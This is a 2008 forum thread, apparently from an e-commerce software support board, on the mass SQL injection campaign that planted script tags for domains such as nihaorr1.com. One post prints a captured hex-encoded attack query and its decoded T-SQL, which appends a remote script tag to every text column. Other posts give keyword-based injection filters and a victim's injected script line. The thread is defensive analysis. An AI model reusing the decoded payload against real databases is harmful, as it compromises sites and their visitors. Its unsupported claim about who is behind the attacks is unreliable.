Database Breach

I want to follow up on all the controversy and theories regarding the massive ongoing iframe injections pointing to domains such as nmidahena.com, aspder.com and more recently: nihaorr1.com

My intention is to focus a little on the facts rather than amplify the ongoing rumours and theories since this is causing frustrated webmasters to attempt hundreds of different methods to avoid these attacks with no luck.

The attacks appear to come from China in relation to the public movements in order to boicot China’s Olympic Games.

To answer the question whether this attack might be using more complex methods beyond just a simple sql injection, the answer is yes and no.
The injection appears to be VERY SIMPLE. It does not need to be an ASP page containing a form. Last week we cleaned and patched up more than 10 websites affected by these attacks and 8 of them had been injected through the querystring of a simple "select" page. No forms or update statements existed on the pages from where the injection was entering.
However, the command being executed is fairly complex in itself.

I'm saying this because many webmasters are going mad patching up sensitive forms, restricting session id's etc.. only to get attacked again and again.
You will indeed need to strengthen your code the sooner the better, but in this particular case consider the following for a temporary solution:

Create an include file with something like this:

<%
if instr(lcase(sql),";--")>0 then
response.redirect("index.asp")
end if

if instr(lcase(sql),"nvarchar")>0 then
response.redirect("index.asp")
end if
%>

Call it, forexample, Validator.asp and put it right before your select statements are executed:

<!--#include file="validator.asp"-->
rs.Open sql

This will not permit some of the key words required to execute this command to take place and therefore the malicious Exec will not be allowed.

Ofcourse you have to discover which pages are being used to inject this code.
Most likely it is not a page that requires a member session to be viewed since the spiders are attacking pages that are cached in Google.

Is there a tool or a mechanism to find it?
The best way to discover when and where the attack is taking place is by running, forexample, SQL Server Profiler.
Set it to record only Exec commands and when the injection happens it will show up and should reflect something like this:

SELECT Musicas.Artistas, Musicas.Titles, Musicas.Formatos, Musicas.MemIDs, Musicas.Enlsae, Mem.Statesa, Mem.Cities, Mem.Paises, Mem.Users FROM Musicas, Mem Where Musicas.Titles = 'acb;DECLARE @S NVARCHAR(4000);SET @S=CAST0x440045000043005500520053004F005200200046004F0050020 004600450054004300480020004E00450058005400

2000460052004F004D00200020005400610062006C0065005F0043007500 720073006F007200200049004E0054004F002000400

054002C0040004300200057280076006100720063006800610072002C005 B0027002B00400043002B0027005D00290029002B00

270027003C0073006300720069007000740020007300720063003D006800 7400740070003A002F002F007700770077002E006E0

06900680061006F00720010062006C0065005F0043007500720073006F00 7200
AS NVARCHAR(4000));EXEC(@S);--' And Mem.ID = Musicas.MemIDs ORDER BY Mem.Fealogs DESC

Once you run the statement through the descrypter you'll get something like this:

DECLARE @T varchar(255)'@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar'['+@C+']))+''<script src=nihaorr1.com/1.js></script>''')FETCH NEXT FROM Table_Cursor INTO @T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

This shows how the nihaorr1.com domain is being used by the script to harrass the users that visit your page where the script is executed.
You can also see from the above command that the Exec will try to inject every table in your database which can contain varchar type.

This is a very annoying attack since the spiders appear to be running in a circle on constant autopilot. However, don't go about thinking that this is as bad as it gets because the Exec command could easily have been programmed to delete your tables and even drop tables if the external users are configured to have such rights.
I'm saying this to put a rush on everyone affected by these attacks and to get their sites fixed up as soon as possible.
These attacks may just be a pre-warning, and if the attackers alter the code to make it delete and drop instead, then we'll be facing much bigger problems.

Forget about wasting time and money on expensive antivirus and firewall solutions. They cannot do anything against SQL injection attacks and it is a common practice around forums to try and give people a false sense of security by pasting links to different software companies. These attacks are happening where there's vulnerable ASP code and no expensive software can prevent or "clean" this.

Feel free to contact me and I'll do my best to get back to you.

Regards,

Nicolai Hertz
Software Programmer

<<<The attacks appear to come from China in relation to the public movements in order to boicot China’s Olympic Games.>>>

Well, I think that's a bit of a stretch.  I track this fairly closely and while there is a very heavy level of traffic from China, I see it coming from all over the place including Turkey, Ukraine and many other nations.  There are hack teams who do so in order to protest US foreign policy issues, the specifics of which I'm well aware but will leave that for discussion off this board, and there are also those who hack for the purpose of introducing links to sites (for example porn) in order to gain higher link popularity.  I have seen and dealt with both.

And I also think the idea of simply scanning query strings for "--" and "nvarchar" seems a bit incomplete.  A script we use to scan for SQL injection threats includes the following:

        Case InStr(1, strToCheck, "@@version") > 1:    blnMatch = True

        Case InStr(1, strToCheck, " and 1=1") > 1:    blnMatch = True

        Case InStr(1, strToCheck, " and 1=2") > 1:    blnMatch = True

        Case InStr(1, strToCheck, " and user") > 1:    blnMatch = True

        Case InStr(1, strToCheck, " char ") > 1:    blnMatch = True

        Case InStr(1, strToCheck, " user ") > 1:    blnMatch = True

        Case InStr(1, strToCheck, " version") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "+char+") > 1:    blnMatch = True

        Case InStr(1, strToCheck, " sysobjects") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "+user+") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "1=1") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "1=2") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "char(124)") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "convert(int") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "convert(varchar") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "declare+@") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "declare @") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "exec(") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "having 1=1--") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "having 1=1--") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "is_srvrolemember") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "sysadmin") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "union") > 1:    blnMatch = True

        Case InStr(1, strToCheck, "waitfor delay") > 1:    blnMatch = True

 

ProductCart of course includes functions that clean query strings and validate their content before being used in any SQL query, including the "getUserInput" and "validNum" functions contained in "includes/stringfunctions.asp".

Once again:

• The current version of ProductCart (3.11) passes all HackerSafe tests successfully. Most of these tests are indeed focused on preventing SQL injections.
  
• We have no reports of any open vulnerability.
• We have no reports of any security breaches.
• We have always reacted and will always react as promptly as possible to address any new vulnerability report, should new ones arise.

A clarification on the posts above: Mr. Hertz posted without contacting Early Impact to obtain more information on how ProductCart handles SQL injection threats, and clearly is not familiar with the ProductCart source code, including the functions mentioned above.

We do recommend that a respectable security scanning system such as HackerSafe is used to ensure that an entire Web property (not just the e-commerce store portion of it) is constantly checked for possible vulnerabilities. This is especially true if your Web site contains other applications beyond ProductCart (or custom code you have written), as those applications could contain unsafe code that we cannot be aware of.

We have used HackerSafe ourselves for quite some time and we have seen it find legitimate security issues that we immediately fixed (typically within hours of the findings). Therefore, we consider it a useful tool and it has helped make ProductCart an even more secure application.

Note: HackerSafe is the only security scanning system that we have direct experience with. We can only talk about what we know. However, a competing system by Comodo, called HackerGuardian, is considerably cheaper than HackerSafe. We don't have direct experience using HackerGuardian and were not able to find a comparison between the two on the Internet (if you find it, let us know).


Edited by earlyimp - 21-April-2008 at 5:19am

Nicolai,
   I, and I'm sure many others, appreciate being well informed by people who properly understand these things.
So - Thanks & kudos to you & Greg for helping build awareness & , of course, thanks to EA  for building a great product that keeps up to date with security.

Situtions like this just remind us all how important keeping security up to date - part of which is keeping pretty close to current on software releases.

I, unfortunately, was recently hit by an SQL injection attack. It revealed several problems with our database backups; The attack overwrote a lot of fields throughout the database, and the backup saved those changes. The attack happened over a weekend, and by the time we noticed it Monday morning, the backup had taken effect, overwriting the last good backup we had.

I use ProductCart (with the latest version), and am not sure how the attacker was able to do their thing. The inserted this line into most every field in the database:

<scrript src="http://winzipices.cn/4.js"></scrript>

(Typos in "script" are intentional, just in case).

I'm not sure how best to keep them from doing it again. I've been reading everyone's posts, and will try one of the Hacker prevention tools listed, and hope that is enough.

My initial solution was to block all outside traffic to the site, while I tried to remove all instances of the script from the database. I'm still trying to re-create all the products, which is taking some time as they all have a lot of options and thus sub products.

Currently I've just changed the url for the product cart software (scart/pc, rather than cart/pc) and set up a simple landing page (www.DandDToys.com) for users (we have a brick and mortar store, and process all our orders through product cart, so I can't simply close the store).

Any additional tips would be appreciated.

Thanks,

Dan